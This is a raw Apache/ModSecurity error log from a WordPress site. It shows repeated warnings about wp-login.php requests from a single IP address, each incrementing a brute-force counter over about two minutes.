[Fri Feb 27 04:42:56.721527 2026] [:error] [pid 42563:tid 42591] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwUHKL5BclZy73IRG2rQAAAdU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:42:59.624549 2026] [:error] [pid 42563:tid 42570] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwU3KL5BclZy73IRG2ugAAAcI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:01.067601 2026] [:error] [pid 42563:tid 42575] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwVXKL5BclZy73IRG2vwAAAcc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:04.613653 2026] [:error] [pid 42563:tid 42573] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwWHKL5BclZy73IRG2ywAAAcU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:06.054533 2026] [:error] [pid 42563:tid 42570] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwWnKL5BclZy73IRG20AAAAcI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:09.236646 2026] [:error] [pid 42563:tid 42593] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwXXKL5BclZy73IRG23QAAAdc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:10.883083 2026] [:error] [pid 42563:tid 42587] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwXnKL5BclZy73IRG24QAAAdE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:14.326781 2026] [:error] [pid 42563:tid 42573] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwYnKL5BclZy73IRG29AAAAcU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:15.813367 2026] [:error] [pid 42563:tid 42572] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwY3KL5BclZy73IRG2-AAAAcQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:18.766929 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwZnKL5BclZy73IRG3AAAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:20.162980 2026] [:error] [pid 42563:tid 42593] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwaHKL5BclZy73IRG3AQAAAdc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:23.102207 2026] [:error] [pid 42563:tid 42589] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwa3KL5BclZy73IRG3BAAAAdM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:24.452570 2026] [:error] [pid 42563:tid 42592] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwbHKL5BclZy73IRG3BQAAAdY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:27.242655 2026] [:error] [pid 42563:tid 42579] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwb3KL5BclZy73IRG3CAAAAck"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:28.569745 2026] [:error] [pid 42563:tid 42585] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwcHKL5BclZy73IRG3CQAAAc8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:31.451615 2026] [:error] [pid 42563:tid 42585] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwc3KL5BclZy73IRG3IQAAAc8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:32.998196 2026] [:error] [pid 42563:tid 42585] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwdHKL5BclZy73IRG3KwAAAc8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:36.181834 2026] [:error] [pid 42563:tid 42571] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCweHKL5BclZy73IRG3RgAAAcM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:37.987612 2026] [:error] [pid 42563:tid 42570] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCweXKL5BclZy73IRG3TAAAAcI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:41.976469 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwfXKL5BclZy73IRG3UgAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:44.284753 2026] [:error] [pid 42563:tid 42585] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwgHKL5BclZy73IRG3XAAAAc8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:47.849139 2026] [:error] [pid 42563:tid 42575] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwg3KL5BclZy73IRG3ZQAAAcc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:49.271793 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwhXKL5BclZy73IRG3aAAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:52.353189 2026] [:error] [pid 42563:tid 42589] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwiHKL5BclZy73IRG3bwAAAdM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:53.801308 2026] [:error] [pid 42563:tid 42592] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwiXKL5BclZy73IRG3dAAAAdY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:56.811435 2026] [:error] [pid 42563:tid 42591] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwjHKL5BclZy73IRG3dwAAAdU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:43:58.416659 2026] [:error] [pid 42563:tid 42568] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwjnKL5BclZy73IRG3eAAAAcA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:01.526006 2026] [:error] [pid 42563:tid 42584] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwkXKL5BclZy73IRG3gwAAAc4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:03.012498 2026] [:error] [pid 42563:tid 42583] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwk3KL5BclZy73IRG3hQAAAc0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:06.111547 2026] [:error] [pid 42563:tid 42574] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwlnKL5BclZy73IRG3nAAAAcY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:07.530518 2026] [:error] [pid 42563:tid 42582] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwl3KL5BclZy73IRG3pAAAAcw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:10.363893 2026] [:error] [pid 42563:tid 42569] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwmnKL5BclZy73IRG3twAAAcE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:11.783492 2026] [:error] [pid 42563:tid 42592] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwm3KL5BclZy73IRG3vQAAAdY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:15.120235 2026] [:error] [pid 42563:tid 42584] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwn3KL5BclZy73IRG3yQAAAc4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:16.583896 2026] [:error] [pid 42563:tid 42583] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwoHKL5BclZy73IRG3zQAAAc0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:19.759879 2026] [:error] [pid 42563:tid 42589] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwo3KL5BclZy73IRG34wAAAdM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:21.151710 2026] [:error] [pid 42563:tid 42594] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwpXKL5BclZy73IRG37AAAAdg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:24.937631 2026] [:error] [pid 42563:tid 42573] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwqHKL5BclZy73IRG3_gAAAcU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:26.516016 2026] [:error] [pid 42563:tid 42569] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwqnKL5BclZy73IRG4AwAAAcE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:31.322702 2026] [:error] [pid 42563:tid 42589] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwr3KL5BclZy73IRG4CwAAAdM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:32.849619 2026] [:error] [pid 42563:tid 42568] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwsHKL5BclZy73IRG4DAAAAcA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:35.805819 2026] [:error] [pid 42563:tid 42586] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCws3KL5BclZy73IRG4HAAAAdA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:37.246811 2026] [:error] [pid 42563:tid 42582] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwtXKL5BclZy73IRG4JQAAAcw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:40.286713 2026] [:error] [pid 42563:tid 42584] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwuHKL5BclZy73IRG4LQAAAc4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:42.103502 2026] [:error] [pid 42563:tid 42593] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwunKL5BclZy73IRG4MwAAAdc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:45.339547 2026] [:error] [pid 42563:tid 42575] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwvXKL5BclZy73IRG4OgAAAcc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:46.762227 2026] [:error] [pid 42563:tid 42588] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwvnKL5BclZy73IRG4OwAAAdI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:50.895869 2026] [:error] [pid 42563:tid 42571] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwwnKL5BclZy73IRG4PgAAAcM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:52.249498 2026] [:error] [pid 42563:tid 42572] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwxHKL5BclZy73IRG4QQAAAcQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:55.142533 2026] [:error] [pid 42563:tid 42575] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwx3KL5BclZy73IRG4UAAAAcc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:56.485500 2026] [:error] [pid 42563:tid 42569] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwyHKL5BclZy73IRG4VAAAAcE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:44:59.670691 2026] [:error] [pid 42563:tid 42592] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwy3KL5BclZy73IRG4YwAAAdY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:45:01.111867 2026] [:error] [pid 42563:tid 42594] [client 141.98.11.209:52312] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCwzXKL5BclZy73IRG4awAAAdg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
